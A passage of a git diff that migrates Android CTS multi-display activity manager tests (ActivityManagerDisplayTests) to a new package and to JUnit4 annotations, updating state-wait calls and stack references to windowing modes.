+ ReportedDisplays getDisplayStateAfterChange(int expectedDisplayCount) {
ReportedDisplays ds = getDisplaysStates();
int retriesLeft = 5;
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerDisplayTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerDisplayTests.java
similarity index 86%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerDisplayTests.java
rename to tests/framework/base/activitymanager/src/android/server/am/ActivityManagerDisplayTests.java
index bb54b06..97c4863 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerDisplayTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerDisplayTests.java
@@ -13,13 +13,31 @@
* See the License for the specific language governing permissions and
* limitations under the License
*/
-package android.server.cts;
+package android.server.am;
+
+
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_STANDARD;
+import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_PRIMARY;
+import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_SECONDARY;
+import static android.server.am.ActivityAndWindowManagersState.DEFAULT_DISPLAY_ID;
+import static android.server.am.ActivityManagerState.STATE_RESUMED;
+import static android.server.am.ActivityManagerState.STATE_STOPPED;
+import static android.server.am.StateLogger.log;
+import static android.server.am.StateLogger.logE;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
import android.platform.test.annotations.Presubmit;
-import android.server.displayservice.DisplayHelper;
+import android.server.am.displayservice.DisplayHelper;
-import com.android.tradefed.device.CollectingOutputReceiver;
-import com.android.tradefed.device.DeviceNotAvailableException;
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
import java.util.Collections;
import java.util.LinkedList;
@@ -27,16 +45,9 @@
import java.util.regex.Matcher;
import java.util.regex.Pattern;
-import static android.server.cts.ActivityAndWindowManagersState.DEFAULT_DISPLAY_ID;
-import static android.server.cts.ActivityManagerState.STATE_PAUSED;
-import static android.server.cts.ActivityManagerState.STATE_RESUMED;
-import static android.server.cts.ActivityManagerState.STATE_STOPPED;
-import static android.server.cts.StateLogger.log;
-import static android.server.cts.StateLogger.logE;
-
/**
- * Build: mmma -j32 cts/hostsidetests/services
- * Run: cts/hostsidetests/services/activityandwindowmanager/util/run-test CtsServicesHostTestCases android.server.cts.ActivityManagerDisplayTests
+ * Build: mmma -j32 cts/tests/framework/base
+ * Run: cts/tests/framework/base/activitymanager/util/run-test CtsActivityManagerDeviceTestCases android.server.am.ActivityManagerDisplayTests
*/
public class ActivityManagerDisplayTests extends ActivityManagerDisplayTestBase {
private static final String WM_SIZE = "wm size";
@@ -51,8 +62,8 @@
private static final String THIRD_ACTIVITY_NAME = "ThirdActivity";
private static final String VR_TEST_ACTIVITY_NAME = "VrTestActivity";
private static final String SHOW_WHEN_LOCKED_ATTR_ACTIVITY_NAME = "ShowWhenLockedAttrActivity";
- private static final String SECOND_PACKAGE_NAME = "android.server.cts.second";
- private static final String THIRD_PACKAGE_NAME = "android.server.cts.third";
+ private static final String SECOND_PACKAGE_NAME = "android.server.am.second";
+ private static final String THIRD_PACKAGE_NAME = "android.server.am.third";
private static final int VR_VIRTUAL_DISPLAY_WIDTH = 70;
private static final int VR_VIRTUAL_DISPLAY_HEIGHT = 90;
private static final int VR_VIRTUAL_DISPLAY_DPI = 320;
@@ -62,25 +73,23 @@
/** Physical display metrics and overrides in the beginning of the test. */
private ReportedDisplayMetrics mInitialDisplayMetrics;
+ @Before
@Override
- protected void setUp() throws Exception {
+ public void setUp() throws Exception {
super.setUp();
mInitialDisplayMetrics = getDisplayMetrics();
}
+ @After
@Override
- protected void tearDown() throws Exception {
- try {
- enablePersistentVrMode(false);
- restoreDisplayMetricsOverrides();
- if (mExternalDisplayHelper != null) {
- mExternalDisplayHelper.releaseDisplay();
- mExternalDisplayHelper = null;
- }
- setPrimaryDisplayState(true);
- } catch (DeviceNotAvailableException e) {
- logE(e.getMessage());
+ public void tearDown() throws Exception {
+ enablePersistentVrMode(false);
+ restoreDisplayMetricsOverrides();
+ if (mExternalDisplayHelper != null) {
+ mExternalDisplayHelper.releaseDisplay();
+ mExternalDisplayHelper = null;
}
+ setPrimaryDisplayState(true);
super.tearDown();
}
@@ -111,6 +120,7 @@
/**
* Tests that the global configuration is equal to the default display's override configuration.
*/
+ @Test
public void testDefaultDisplayOverrideConfiguration() throws Exception {
final ReportedDisplays reportedDisplays = getDisplaysStates();
assertNotNull("Global configuration must not be empty.", reportedDisplays.mGlobalConfig);
@@ -122,6 +132,7 @@
/**
* Tests that secondary display has override configuration set.
*/
+ @Test
public void testCreateVirtualDisplayWithCustomConfig() throws Exception {
// Create new virtual display.
final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
@@ -136,6 +147,7 @@
* Activities requested to be launched on a secondary display in this case should land on the
* default display.
*/
+ @Test
public void testMultiDisplayDisabled() throws Exception {
if (supportsMultiDisplay()) {
// Only check devices with the feature disabled.
@@ -147,7 +159,7 @@
// Launch activity on new secondary display.
launchActivityOnDisplay(TEST_ACTIVITY_NAME, newDisplay.mDisplayId);
- mAmWmState.computeState(mDevice, new String[] {TEST_ACTIVITY_NAME});
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(TEST_ACTIVITY_NAME).build());
mAmWmState.assertFocusedActivity("Launched activity must be focused", TEST_ACTIVITY_NAME);
@@ -165,6 +177,7 @@
/**
* Tests that any new activity launch in Vr mode is in Vr display.
*/
+ @Test
public void testVrActivityLaunch() throws Exception {
if (!supportsVrMode() || !supportsMultiDisplay()) {
// VR Mode is not supported on this device, bail from this test.
@@ -176,12 +189,12 @@
// Launch the VR activity.
launchActivity(VR_TEST_ACTIVITY_NAME);
- mAmWmState.computeState(mDevice, new String[] {VR_TEST_ACTIVITY_NAME});
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(VR_TEST_ACTIVITY_NAME).build());
mAmWmState.assertVisibility(VR_TEST_ACTIVITY_NAME, true /* visible */);
// Launch the non-VR 2D activity and check where it ends up.
launchActivity(LAUNCHING_ACTIVITY);
- mAmWmState.computeState(mDevice, new String[] {LAUNCHING_ACTIVITY});
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(LAUNCHING_ACTIVITY).build());
// Ensure that the subsequent activity is visible
mAmWmState.assertVisibility(LAUNCHING_ACTIVITY, true /* visible */);
@@ -212,6 +225,7 @@
/**
* Tests that any activity already present is re-launched in Vr display in vr mode.
*/
+ @Test
public void testVrActivityReLaunch() throws Exception {
if (!supportsVrMode() || !supportsMultiDisplay()) {
// VR Mode is not supported on this device, bail from this test.
@@ -226,12 +240,12 @@
// Launch the VR activity.
launchActivity(VR_TEST_ACTIVITY_NAME);
- mAmWmState.computeState(mDevice, new String[] {VR_TEST_ACTIVITY_NAME});
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(VR_TEST_ACTIVITY_NAME).build());
mAmWmState.assertVisibility(VR_TEST_ACTIVITY_NAME, true /* visible */);
// Re-launch the non-VR 2D activity and check where it ends up.
launchActivity(LAUNCHING_ACTIVITY);
- mAmWmState.computeState(mDevice, new String[] {LAUNCHING_ACTIVITY});
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(LAUNCHING_ACTIVITY).build());
// Ensure that the subsequent activity is visible
mAmWmState.assertVisibility(LAUNCHING_ACTIVITY, true /* visible */);
@@ -262,6 +276,7 @@
/**
* Tests that any new activity launch post Vr mode is in the main display.
*/
+ @Test
public void testActivityLaunchPostVr() throws Exception {
if (!supportsVrMode() || !supportsMultiDisplay()) {
// VR Mode is not supported on this device, bail from this test.
@@ -273,12 +288,12 @@
// Launch the VR activity.
launchActivity(VR_TEST_ACTIVITY_NAME);
- mAmWmState.computeState(mDevice, new String[] {VR_TEST_ACTIVITY_NAME});
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(VR_TEST_ACTIVITY_NAME).build());
mAmWmState.assertVisibility(VR_TEST_ACTIVITY_NAME, true /* visible */);
// Launch the non-VR 2D activity and check where it ends up.
launchActivity(ALT_LAUNCHING_ACTIVITY);
- mAmWmState.computeState(mDevice, new String[] {ALT_LAUNCHING_ACTIVITY});
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(ALT_LAUNCHING_ACTIVITY).build());
// Ensure that the subsequent activity is visible
mAmWmState.assertVisibility(ALT_LAUNCHING_ACTIVITY, true /* visible */);
@@ -316,7 +331,7 @@
// Launch the non-VR 2D activity and check where it ends up.
launchActivity(RESIZEABLE_ACTIVITY_NAME);
- mAmWmState.computeState(mDevice, new String[] {RESIZEABLE_ACTIVITY_NAME});
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(RESIZEABLE_ACTIVITY_NAME).build());
// Ensure that the subsequent activity is visible
mAmWmState.assertVisibility(RESIZEABLE_ACTIVITY_NAME, true /* visible */);
@@ -332,6 +347,7 @@
DEFAULT_DISPLAY_ID, frontStack.mDisplayId);
}
+ @Test
public void testCreateMultipleVirtualDisplays() throws Exception {
// Create new virtual display.
final List<DisplayState> newDisplays = new VirtualDisplayBuilder(this).build(3);
@@ -343,6 +359,7 @@
* Tests launching an activity on virtual display.
*/
@Presubmit
+ @Test
public void testLaunchActivityOnSecondaryDisplay() throws Exception {
if (!supportsMultiDisplay()) { return; }
@@ -352,7 +369,7 @@
// Launch activity on new secondary display.
final String logSeparator = clearLogcat();
launchActivityOnDisplay(TEST_ACTIVITY_NAME, newDisplay.mDisplayId);
- mAmWmState.computeState(mDevice, new String[] {TEST_ACTIVITY_NAME});
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(TEST_ACTIVITY_NAME).build());
mAmWmState.assertFocusedActivity("Activity launched on secondary display must be focused",
TEST_ACTIVITY_NAME);
@@ -376,6 +393,7 @@
* Tests launching a non-resizeable activity on virtual display. It should land on the
* default display.
*/
+ @Test
public void testLaunchNonResizeableActivityOnSecondaryDisplay() throws Exception {
if (!supportsMultiDisplay()) { return; }
@@ -384,7 +402,7 @@
// Launch activity on new secondary display.
launchActivityOnDisplay(NON_RESIZEABLE_ACTIVITY_NAME, newDisplay.mDisplayId);
- mAmWmState.computeState(mDevice, new String[] {NON_RESIZEABLE_ACTIVITY_NAME});
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(NON_RESIZEABLE_ACTIVITY_NAME).build());
mAmWmState.assertFocusedActivity("Activity launched on secondary display must be focused",
NON_RESIZEABLE_ACTIVITY_NAME);
@@ -403,6 +421,7 @@
* Tests launching a non-resizeable activity on virtual display while split-screen is active
* on the primary display. It should land on the primary display and dismiss docked stack.
*/
+ @Test
public void testLaunchNonResizeableActivityWithSplitScreen() throws Exception {
if (!supportsMultiDisplay() || !supportsSplitScreenMultiWindow()) { return; }
@@ -414,7 +433,7 @@
// Launch activity on new secondary display.
launchActivityOnDisplay(NON_RESIZEABLE_ACTIVITY_NAME, newDisplay.mDisplayId);
- mAmWmState.computeState(mDevice, new String[] {NON_RESIZEABLE_ACTIVITY_NAME});
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(NON_RESIZEABLE_ACTIVITY_NAME).build());
mAmWmState.assertFocusedActivity("Activity launched on secondary display must be focused",
NON_RESIZEABLE_ACTIVITY_NAME);
@@ -427,13 +446,15 @@
getActivityComponentName(NON_RESIZEABLE_ACTIVITY_NAME),
frontStack.mResumedActivity);
mAmWmState.assertFocusedStack("Focus must be on the primary display", frontStackId);
- mAmWmState.assertDoesNotContainStack("Must not contain docked stack.", DOCKED_STACK_ID);
+ mAmWmState.assertDoesNotContainStack("Must not contain docked stack.",
+ WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
}
/**
* Tests moving a non-resizeable activity to a virtual display. It should land on the default
* display.
*/
+ @Test
public void testMoveNonResizeableActivityToSecondaryDisplay() throws Exception {
if (!supportsMultiDisplay()) { return; }
@@ -447,7 +468,7 @@
// Try to move the non-resizeable activity to new secondary display.
moveActivityToStack(NON_RESIZEABLE_ACTIVITY_NAME, frontStackId);
- mAmWmState.computeState(mDevice, new String[] {NON_RESIZEABLE_ACTIVITY_NAME});
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(NON_RESIZEABLE_ACTIVITY_NAME).build());
mAmWmState.assertFocusedActivity("Activity launched on secondary display must be focused",
NON_RESIZEABLE_ACTIVITY_NAME);
@@ -466,6 +487,7 @@
* Tests launching a non-resizeable activity on virtual display from activity there. It should
* land on the secondary display based on the resizeability of the root activity of the task.
*/
+ @Test
public void testLaunchNonResizeableActivityFromSecondaryDisplaySameTask() throws Exception {
if (!supportsMultiDisplay()) { return; }
@@ -490,7 +512,7 @@
// Launch non-resizeable activity from secondary display.
executeShellCommand("am broadcast -a trigger_broadcast --ez launch_activity true "
+ "--ez new_task true --es target_activity " + NON_RESIZEABLE_ACTIVITY_NAME);
- mAmWmState.computeState(mDevice, new String[] {NON_RESIZEABLE_ACTIVITY_NAME});
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(NON_RESIZEABLE_ACTIVITY_NAME).build());
// Check that non-resizeable activity is on the secondary display, because of the resizeable
// root of the task.
@@ -506,6 +528,7 @@
* Tests launching a non-resizeable activity on virtual display from activity there. It should
* land on some different suitable display (usually - on the default one).
*/
+ @Test
public void testLaunchNonResizeableActivityFromSecondaryDisplayNewTask() throws Exception {
if (!supportsMultiDisplay()) { return; }
@@ -545,6 +568,7 @@
* Tests launching an activity on a virtual display without special permission must not be
* allowed.
*/
+ @Test
public void testLaunchWithoutPermissionOnVirtualDisplay() throws Exception {
if (!supportsMultiDisplay()) { return; }
@@ -565,7 +589,7 @@
assertSecurityException("LaunchBroadcastReceiver", logSeparator);
- mAmWmState.computeState(mDevice, new String[] {TEST_ACTIVITY_NAME});
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(TEST_ACTIVITY_NAME).build());
assertFalse("Restricted activity must not be launched",
mAmWmState.getAmState().containsActivity(TEST_ACTIVITY_NAME));
}
@@ -574,6 +598,7 @@
* Tests launching an activity on a virtual display without special permission must be allowed
* for activities with same UID.
*/
+ @Test
public void testLaunchWithoutPermissionOnVirtualDisplayByOwner() throws Exception {
if (!supportsMultiDisplay()) { return; }
@@ -588,7 +613,7 @@
+ " --es package_name " + componentName
+ " --ei display_id " + newDisplay.mDisplayId);
- mAmWmState.waitForValidState(mDevice, TEST_ACTIVITY_NAME);
+ mAmWmState.waitForValidState(TEST_ACTIVITY_NAME);
final int externalFocusedStackId = mAmWmState.getAmState().getFocusedStackId();
final ActivityManagerState.ActivityStack focusedStack = mAmWmState.getAmState()
@@ -607,6 +632,7 @@
* primary display.
*/
@Presubmit
+ @Test
public void testConsequentLaunchActivity() throws Exception {
if (!supportsMultiDisplay()) { return; }
@@ -615,14 +641,14 @@
// Launch activity on new secondary display.
launchActivityOnDisplay(TEST_ACTIVITY_NAME, newDisplay.mDisplayId);
- mAmWmState.computeState(mDevice, new String[] {TEST_ACTIVITY_NAME});
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(TEST_ACTIVITY_NAME).build());
mAmWmState.assertFocusedActivity("Activity launched on secondary display must be focused",
TEST_ACTIVITY_NAME);
// Launch second activity without specifying display.
launchActivity(LAUNCHING_ACTIVITY);
- mAmWmState.computeState(mDevice, new String[] {LAUNCHING_ACTIVITY});
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(LAUNCHING_ACTIVITY).build());
// Check that activity is launched in focused stack on primary display.
mAmWmState.assertFocusedActivity("Launched activity must be focused", LAUNCHING_ACTIVITY);
@@ -640,6 +666,7 @@
* first one - it must appear on the secondary display, because it was launched from there.
*/
@Presubmit
+ @Test
public void testConsequentLaunchActivityFromSecondaryDisplay() throws Exception {
if (!supportsMultiDisplay()) { return; }
@@ -649,14 +676,14 @@
// Launch activity on new secondary display.
launchActivityOnDisplay(LAUNCHING_ACTIVITY, newDisplay.mDisplayId);
- mAmWmState.computeState(mDevice, new String[] {LAUNCHING_ACTIVITY});
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(LAUNCHING_ACTIVITY).build());
mAmWmState.assertFocusedActivity("Activity launched on secondary display must be resumed",
LAUNCHING_ACTIVITY);
// Launch second activity from app on secondary display without specifying display id.
getLaunchActivityBuilder().setTargetActivityName(TEST_ACTIVITY_NAME).execute();
- mAmWmState.computeState(mDevice, new String[] {TEST_ACTIVITY_NAME});
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(TEST_ACTIVITY_NAME).build());
// Check that activity is launched in focused stack on external display.
mAmWmState.assertFocusedActivity("Launched activity must be focused", TEST_ACTIVITY_NAME);
@@ -671,6 +698,7 @@
* Tests launching an activity on virtual display and then launching another activity from the
* first one - it must appear on the secondary display, because it was launched from there.
*/
+ @Test
public void testConsequentLaunchActivityFromVirtualDisplay() throws Exception {
if (!supportsMultiDisplay()) { return; }
@@ -679,28 +707,29 @@
// Launch activity on new secondary display.
launchActivityOnDisplay(LAUNCHING_ACTIVITY, newDisplay.mDisplayId);
- mAmWmState.computeState(mDevice, new String[] {LAUNCHING_ACTIVITY});
+ mAmWmState.computeState(new String[] {LAUNCHING_ACTIVITY});
mAmWmState.assertFocusedActivity("Activity launched on secondary display must be resumed",
- LAUNCHING_ACTIVITY);
+ LAUNCHING_ACTIVITY);
// Launch second activity from app on secondary display without specifying display id.
getLaunchActivityBuilder().setTargetActivityName(TEST_ACTIVITY_NAME).execute();
- mAmWmState.computeState(mDevice, new String[] {TEST_ACTIVITY_NAME});
+ mAmWmState.computeState(new String[] {TEST_ACTIVITY_NAME});
// Check that activity is launched in focused stack on external display.
mAmWmState.assertFocusedActivity("Launched activity must be focused", TEST_ACTIVITY_NAME);
final int frontStackId = mAmWmState.getAmState().getFrontStackId(newDisplay.mDisplayId);
final ActivityManagerState.ActivityStack frontStack
- = mAmWmState.getAmState().getStackById(frontStackId);
+ = mAmWmState.getAmState().getStackById(frontStackId);
assertEquals("Launched activity must be resumed in front stack",
- getActivityComponentName(TEST_ACTIVITY_NAME), frontStack.mResumedActivity);
+ getActivityComponentName(TEST_ACTIVITY_NAME), frontStack.mResumedActivity);
}
/**
* Tests launching an activity on virtual display and then launching another activity from the
* first one with specifying the target display - it must appear on the secondary display.
*/
+ @Test
public void testConsequentLaunchActivityFromVirtualDisplayToTargetDisplay() throws Exception {
if (!supportsMultiDisplay()) { return; }
@@ -709,50 +738,51 @@
// Launch activity on new secondary display.
launchActivityOnDisplay(LAUNCHING_ACTIVITY, newDisplay.mDisplayId);
- mAmWmState.computeState(mDevice, new String[] {LAUNCHING_ACTIVITY});
+ mAmWmState.computeState(new String[] {LAUNCHING_ACTIVITY});
mAmWmState.assertFocusedActivity("Activity launched on secondary display must be resumed",
- LAUNCHING_ACTIVITY);
+ LAUNCHING_ACTIVITY);
// Launch second activity from app on secondary display specifying same display id.
getLaunchActivityBuilder().setTargetActivityName(SECOND_ACTIVITY_NAME)
- .setTargetPackage(SECOND_PACKAGE_NAME)
- .setDisplayId(newDisplay.mDisplayId).execute();
- mAmWmState.computeState(mDevice, new String[] {TEST_ACTIVITY_NAME});
+ .setTargetPackage(SECOND_PACKAGE_NAME)
+ .setDisplayId(newDisplay.mDisplayId).execute();
+ mAmWmState.computeState(new String[] {TEST_ACTIVITY_NAME});
// Check that activity is launched in focused stack on external display.
mAmWmState.assertFocusedActivity("Launched activity must be focused", SECOND_PACKAGE_NAME,
- SECOND_ACTIVITY_NAME);
+ SECOND_ACTIVITY_NAME);
int frontStackId = mAmWmState.getAmState().getFrontStackId(newDisplay.mDisplayId);
ActivityManagerState.ActivityStack frontStack
- = mAmWmState.getAmState().getStackById(frontStackId);
+ = mAmWmState.getAmState().getStackById(frontStackId);
assertEquals("Launched activity must be resumed in front stack",
- getActivityComponentName(SECOND_PACKAGE_NAME, SECOND_ACTIVITY_NAME),
- frontStack.mResumedActivity);
+ getActivityComponentName(SECOND_PACKAGE_NAME, SECOND_ACTIVITY_NAME),
+ frontStack.mResumedActivity);
// Launch other activity with different uid and check if it has launched successfully.
final String broadcastAction = SECOND_PACKAGE_NAME + ".LAUNCH_BROADCAST_ACTION";
- executeShellCommand("am broadcast -a " + broadcastAction + " -p " + SECOND_PACKAGE_NAME
- + " --ei display_id " + newDisplay.mDisplayId
- + " --es target_activity " + THIRD_ACTIVITY_NAME
- + " --es package_name " + THIRD_PACKAGE_NAME);
- mAmWmState.waitForValidState(mDevice, new String[] {THIRD_ACTIVITY_NAME},
- null /* stackIds */, false /* compareTaskAndStackBounds */, THIRD_PACKAGE_NAME);
+ getLaunchActivityBuilder().setUseBroadcastReceiver(SECOND_PACKAGE_NAME, broadcastAction)
+ .setDisplayId(newDisplay.mDisplayId)
+ .setTargetActivityName(THIRD_ACTIVITY_NAME)
+ .setTargetPackage(THIRD_PACKAGE_NAME).execute();
+ mAmWmState.waitForValidState(false /* compareTaskAndStackBounds */, THIRD_PACKAGE_NAME,
+ new WaitForValidActivityState.Builder(THIRD_ACTIVITY_NAME).build());
// Check that activity is launched in focused stack on external display.
mAmWmState.assertFocusedActivity("Launched activity must be focused", THIRD_PACKAGE_NAME,
- THIRD_ACTIVITY_NAME);
+ THIRD_ACTIVITY_NAME);
frontStackId = mAmWmState.getAmState().getFrontStackId(newDisplay.mDisplayId);
frontStack = mAmWmState.getAmState().getStackById(frontStackId);
assertEquals("Launched activity must be resumed in front stack",
- getActivityComponentName(THIRD_PACKAGE_NAME, THIRD_ACTIVITY_NAME),
- frontStack.mResumedActivity);
+ getActivityComponentName(THIRD_PACKAGE_NAME, THIRD_ACTIVITY_NAME),
+ frontStack.mResumedActivity);
}
/**
* Tests launching an activity on virtual display and then launching another activity that
* doesn't allow embedding - it should fail with security exception.
*/
+ @Test
public void testConsequentLaunchActivityFromVirtualDisplayNoEmbedding() throws Exception {
if (!supportsMultiDisplay()) { return; }
@@ -761,17 +791,17 @@
// Launch activity on new secondary display.
launchActivityOnDisplay(LAUNCHING_ACTIVITY, newDisplay.mDisplayId);
- mAmWmState.computeState(mDevice, new String[] {LAUNCHING_ACTIVITY});
+ mAmWmState.computeState(new String[] {LAUNCHING_ACTIVITY});
mAmWmState.assertFocusedActivity("Activity launched on secondary display must be resumed",
- LAUNCHING_ACTIVITY);
+ LAUNCHING_ACTIVITY);
final String logSeparator = clearLogcat();
// Launch second activity from app on secondary display specifying same display id.
getLaunchActivityBuilder().setTargetActivityName(SECOND_ACTIVITY_NO_EMBEDDING_NAME)
- .setTargetPackage(SECOND_PACKAGE_NAME)
- .setDisplayId(newDisplay.mDisplayId).execute();
+ .setTargetPackage(SECOND_PACKAGE_NAME)
+ .setDisplayId(newDisplay.mDisplayId).execute();
assertSecurityException("ActivityLauncher", logSeparator);
}
@@ -779,6 +809,7 @@
/**
* Tests launching an activity to secondary display from activity on primary display.
*/
+ @Test
public void testLaunchActivityFromAppToSecondaryDisplay() throws Exception {
if (!supportsMultiDisplay()) { return; }
@@ -793,7 +824,7 @@
.setDisplayId(newDisplay.mDisplayId).execute();
// Check that activity is launched on external display.
- mAmWmState.computeState(mDevice, new String[] {TEST_ACTIVITY_NAME});
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(TEST_ACTIVITY_NAME).build());
mAmWmState.assertFocusedActivity("Activity launched on secondary display must be focused",
TEST_ACTIVITY_NAME);
final int frontStackId = mAmWmState.getAmState().getFrontStackId(newDisplay.mDisplayId);
@@ -808,6 +839,7 @@
* visibility is not affected.
*/
@Presubmit
+ @Test
public void testLaunchActivitiesAffectsVisibility() throws Exception {
if (!supportsMultiDisplay()) { return; }
@@ -825,7 +857,7 @@
// Launch activity on primary display and check if it doesn't affect activity on secondary
// display.
getLaunchActivityBuilder().setTargetActivityName(RESIZEABLE_ACTIVITY_NAME).execute();
- mAmWmState.waitForValidState(mDevice, RESIZEABLE_ACTIVITY_NAME);
+ mAmWmState.waitForValidState(RESIZEABLE_ACTIVITY_NAME);
mAmWmState.assertVisibility(TEST_ACTIVITY_NAME, true /* visible */);
mAmWmState.assertVisibility(RESIZEABLE_ACTIVITY_NAME, true /* visible */);
}
@@ -834,6 +866,7 @@
* Test that move-task works when moving between displays.
*/
@Presubmit
+ @Test
public void testMoveTaskBetweenDisplays() throws Exception {
if (!supportsMultiDisplay()) { return; }
@@ -858,7 +891,7 @@
// Move activity from secondary display to primary.
moveActivityToStack(TEST_ACTIVITY_NAME, defaultDisplayStackId);
- mAmWmState.waitForFocusedStack(mDevice, defaultDisplayStackId);
+ mAmWmState.waitForFocusedStack(defaultDisplayStackId);
mAmWmState.assertFocusedActivity("Focus must be on moved activity", TEST_ACTIVITY_NAME);
focusedStackId = mAmWmState.getAmState().getFocusedStackId();
focusedStack = mAmWmState.getAmState().getStackById(focusedStackId);
@@ -871,7 +904,8 @@
* is moved correctly.
* This version launches virtual display creator to fullscreen stack in split-screen.
*/
- @Presubmit
+ // TODO(b/69573940): Add back to presubmit
+ @Test
public void testStackFocusSwitchOnDisplayRemoved() throws Exception {
if (!supportsMultiDisplay() || !supportsSplitScreenMultiWindow()) { return; }
@@ -880,7 +914,7 @@
mAmWmState.assertVisibility(LAUNCHING_ACTIVITY, true /* visible */);
tryCreatingAndRemovingDisplayWithActivity(true /* splitScreen */,
- FULLSCREEN_WORKSPACE_STACK_ID);
+ WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
}
/**
@@ -888,6 +922,7 @@
* is moved correctly.
* This version launches virtual display creator to docked stack in split-screen.
*/
+ @Test
public void testStackFocusSwitchOnDisplayRemoved2() throws Exception {
if (!supportsMultiDisplay() || !supportsSplitScreenMultiWindow()) { return; }
@@ -895,11 +930,11 @@
launchActivityInDockStack(RESIZEABLE_ACTIVITY_NAME);
// Start launching activity into fullscreen stack.
- launchActivityInStack(LAUNCHING_ACTIVITY, FULLSCREEN_WORKSPACE_STACK_ID);
+ launchActivity(LAUNCHING_ACTIVITY, WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
mAmWmState.assertVisibility(LAUNCHING_ACTIVITY, true /* visible */);
tryCreatingAndRemovingDisplayWithActivity(true /* splitScreen */,
- FULLSCREEN_WORKSPACE_STACK_ID);
+ WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
}
/**
@@ -907,23 +942,26 @@
* is moved correctly.
* This version works without split-screen.
*/
+ @Test
public void testStackFocusSwitchOnDisplayRemoved3() throws Exception {
if (!supportsMultiDisplay()) { return; }
// Start an activity on default display to determine default stack.
launchActivity(BROADCAST_RECEIVER_ACTIVITY);
- final int focusedStackId = mAmWmState.getAmState().getFrontStackId(DEFAULT_DISPLAY_ID);
+ final int focusedStackWindowingMode =
+ mAmWmState.getAmState().getFrontStackWindowingMode(DEFAULT_DISPLAY_ID);
// Finish probing activity.
executeShellCommand(FINISH_ACTIVITY_BROADCAST);
- tryCreatingAndRemovingDisplayWithActivity(false /* splitScreen */, focusedStackId);
+ tryCreatingAndRemovingDisplayWithActivity(
+ false /* splitScreen */, focusedStackWindowingMode);
}
/**
* Create a virtual display, launch a test activity there, destroy the display and check if test
* activity is moved to a stack on the default display.
*/
- private void tryCreatingAndRemovingDisplayWithActivity(boolean splitScreen, int defaultStackId)
+ private void tryCreatingAndRemovingDisplayWithActivity(boolean splitScreen, int windowingMode)
throws Exception {
// Create new virtual display.
final VirtualDisplayBuilder builder = new VirtualDisplayBuilder(this)
@@ -946,7 +984,7 @@
// Destroy virtual display.
destroyVirtualDisplays();
- mAmWmState.waitForValidState(mDevice, TEST_ACTIVITY_NAME, defaultStackId);
+ mAmWmState.waitForValidState(TEST_ACTIVITY_NAME, windowingMode, ACTIVITY_TYPE_STANDARD);
mAmWmState.assertSanity();
mAmWmState.assertValidBounds(true /* compareTaskAndStackBounds */);
@@ -954,7 +992,7 @@
mAmWmState.assertVisibility(TEST_ACTIVITY_NAME, true /* visible */);
mAmWmState.assertFocusedStack(
"Default stack on primary display must be focused after display removed",
- defaultStackId);
+ windowingMode, ACTIVITY_TYPE_STANDARD);
mAmWmState.assertFocusedActivity(
"Focus must be switched back to activity on primary display",
TEST_ACTIVITY_NAME);
@@ -964,6 +1002,7 @@
* Tests launching activities on secondary display and then removing it to see if stack focus
* is moved correctly.
*/
+ @Test
public void testStackFocusSwitchOnStackEmptied() throws Exception {
if (!supportsMultiDisplay()) { return; }
@@ -985,8 +1024,8 @@
// Unlock and check if the focus is switched back to primary display.
wakeUpAndUnlockDevice();
- mAmWmState.waitForFocusedStack(mDevice, focusedStackId);
- mAmWmState.waitForValidState(mDevice, VIRTUAL_DISPLAY_ACTIVITY);
+ mAmWmState.waitForFocusedStack(focusedStackId);
+ mAmWmState.waitForValidState(VIRTUAL_DISPLAY_ACTIVITY);
mAmWmState.assertVisibility(VIRTUAL_DISPLAY_ACTIVITY, true /* visible */);
mAmWmState.assertFocusedActivity("Focus must be switched back to primary display",
VIRTUAL_DISPLAY_ACTIVITY);
@@ -995,19 +1034,20 @@
/**
* Tests that input events on the primary display take focus from the virtual display.
*/
+ @Test
public void testStackFocusSwitchOnTouchEvent() throws Exception {
if (!supportsMultiDisplay()) { return; }
// Create new virtual display.
final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
- mAmWmState.computeState(mDevice, new String[] {VIRTUAL_DISPLAY_ACTIVITY});
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(VIRTUAL_DISPLAY_ACTIVITY).build());
mAmWmState.assertFocusedActivity("Focus must be switched back to primary display",
VIRTUAL_DISPLAY_ACTIVITY);
launchActivityOnDisplay(TEST_ACTIVITY_NAME, newDisplay.mDisplayId);
